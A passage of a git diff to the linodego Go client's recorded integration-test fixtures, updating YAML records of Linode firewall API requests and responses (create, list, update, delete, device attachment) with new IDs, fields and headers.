https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228229/devices + url: https://api.linode.com/v4beta/networking/firewalls/600030/devices?page=1 method: GET response: - body: '{"data": [{"id": 485839, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "entity": {"id": 49708338, "type": "linode", "label": "go-test-ins-mzar9128s81w", - "url": "/v4/linode/instances/49708338"}}], "page": 1, "pages": 1, "results": - 1}' + body: '{"data": [{"id": 1297444, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "entity": {"id": 60622696, "type": "linode", "label": + "go-test-ins-1i81hyqs74e9", "url": "/v4/linode/instances/60622696"}}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -379,16 +480,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "254" + - "255" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:22 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -404,7 +508,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -420,7 +524,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228229 + url: https://api.linode.com/v4beta/networking/firewalls/600030 method: DELETE response: body: '{}' @@ -436,15 +540,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:23 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -459,7 +567,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -475,7 +583,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708338 + url: https://api.linode.com/v4beta/linode/instances/60622696 method: DELETE response: body: '{}' @@ -491,15 +599,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:23 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -514,7 +626,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewallRules_Get.yaml b/test/integration/fixtures/TestFirewallRules_Get.yaml index abbe1a3b4..2136e2592 100644 --- a/test/integration/fixtures/TestFirewallRules_Get.yaml +++ b/test/integration/fixtures/TestFirewallRules_Get.yaml @@ -14,13 +14,14 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228227, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498946, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,15 +34,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -54,9 +59,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -72,14 +80,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228227/rules + url: https://api.linode.com/v4beta/networking/firewalls/498946/rules method: GET response: body: '{"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": - ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}' + ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}' headers: Access-Control-Allow-Credentials: - "true" @@ -92,16 +100,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "362" + - "403" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -115,9 +126,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -133,7 +147,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228227 + url: https://api.linode.com/v4beta/networking/firewalls/498946 method: DELETE response: body: '{}' @@ -149,15 +163,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -170,9 +188,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewallRules_Update.yaml b/test/integration/fixtures/TestFirewallRules_Update.yaml index d65c8faef..f4da296bd 100644 --- a/test/integration/fixtures/TestFirewallRules_Update.yaml +++ b/test/integration/fixtures/TestFirewallRules_Update.yaml @@ -14,13 +14,14 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228228, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498947, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,15 +34,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -54,9 +59,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -72,12 +80,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228228/rules + url: https://api.linode.com/v4beta/networking/firewalls/498947/rules method: PUT response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}' + "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": + 2, "fingerprint": "cddbc8f5"}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,15 +99,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "227" + - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -111,9 +124,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,12 +145,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228228/rules + url: https://api.linode.com/v4beta/networking/firewalls/498947/rules method: GET response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}' + "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT", "version": + 2, "fingerprint": "cddbc8f5"}' headers: Access-Control-Allow-Credentials: - "true" @@ -147,16 +164,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "227" + - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -170,9 +190,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -188,7 +211,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228228 + url: https://api.linode.com/v4beta/networking/firewalls/498947 method: DELETE response: body: '{}' @@ -204,15 +227,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -225,9 +252,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewall_Get.yaml b/test/integration/fixtures/TestFirewall_Get.yaml index a344cbae3..e9c83bcf3 100644 --- a/test/integration/fixtures/TestFirewall_Get.yaml +++ b/test/integration/fixtures/TestFirewall_Get.yaml @@ -14,11 +14,12 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228233, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498952, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": - null, "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "e026ab25"}, + "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,15 +32,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "381" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,9 +57,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,14 +78,15 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228233 + url: https://api.linode.com/v4beta/networking/firewalls/498952 method: GET response: - body: '{"id": 228233, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498952, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": - null, "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + null, "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "e026ab25"}, + "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,16 +99,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "381" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -113,9 +125,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -131,7 +146,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228233 + url: https://api.linode.com/v4beta/networking/firewalls/498952 method: DELETE response: body: '{}' @@ -147,15 +162,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -168,9 +187,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewall_Update.yaml b/test/integration/fixtures/TestFirewall_Update.yaml index b0c6fcad7..e891a6b44 100644 --- a/test/integration/fixtures/TestFirewall_Update.yaml +++ b/test/integration/fixtures/TestFirewall_Update.yaml @@ -14,11 +14,12 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228234, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498953, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": - "ACCEPT"}, "tags": ["test"]}' + "ACCEPT", "version": 1, "fingerprint": "1f57ba72"}, "tags": ["test"], "entities": + []}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,15 +32,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "360" + - "417" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:53 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,9 +57,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,14 +78,15 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228234 + url: https://api.linode.com/v4beta/networking/firewalls/498953 method: PUT response: - body: '{"id": 228234, "label": "linodego-fw-test-updated", "created": "2018-01-02T03:04:05", + body: '{"id": 498953, "label": "linodego-fw-test-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "disabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": - "ACCEPT"}, "tags": []}' + "ACCEPT", "version": 1, "fingerprint": "1f57ba72"}, "tags": [], "entities": + []}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,15 +99,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "363" + - "420" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -111,9 +124,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,7 +145,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228234 + url: https://api.linode.com/v4beta/networking/firewalls/498953 method: DELETE response: body: '{}' @@ -145,15 +161,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -166,9 +186,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewalls_List.yaml b/test/integration/fixtures/TestFirewalls_List.yaml index 51b1107fa..deb07bee7 100644 --- a/test/integration/fixtures/TestFirewalls_List.yaml +++ b/test/integration/fixtures/TestFirewalls_List.yaml @@ -14,13 +14,14 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228232, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 498951, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,15 +34,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 00:09:52 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -54,9 +59,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -75,14 +83,43 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: GET response: - body: '{"data": [{"id": 228232, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"data": [{"id": 498514, "label": "linode-cloud-firewall-for-tests", "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", + "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", + "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["66.183.56.141/32"]}}], + "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": + 1, "fingerprint": "34cf15cc"}, "tags": [], "entities": []}, {"id": 498547, "label": + "cloudfw-1717110724453403000", "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": + "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", + "addresses": {"ipv4": ["66.183.56.141/32"]}}], "inbound_policy": "DROP", "outbound": + [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "34cf15cc"}, "tags": + [], "entities": []}, {"id": 498717, "label": "cloudfw-1717112023872350000", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": + "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", + "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["66.183.56.141/32"]}}], + "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": + 1, "fingerprint": "34cf15cc"}, "tags": [], "entities": [{"id": 59509096, "type": + "linode", "label": "linodego-fw-inst-test", "url": "/v4/linode/instances/59509096"}]}, + {"id": 498760, "label": "cloudfw-1717112426680913000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}], "page": 1, "pages": 1, - "results": 1}' + [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": + "TCP", "addresses": {"ipv4": ["66.183.56.141/32"]}}], "inbound_policy": "DROP", + "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "34cf15cc"}, + "tags": [], "entities": []}, {"id": 498945, "label": "cloudfw-1717114184726914000", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": + "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", + "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["66.183.56.141/32"]}}], + "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": + 1, "fingerprint": "34cf15cc"}, "tags": [], "entities": []}, {"id": 498951, "label": + "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", + "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": + ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": + "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], + "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": + "7bcc0f03"}, "tags": ["testing"], "entities": []}], "page": 1, "pages": 1, "results": + 6}' headers: Access-Control-Allow-Credentials: - "true" @@ -95,21 +132,23 @@ 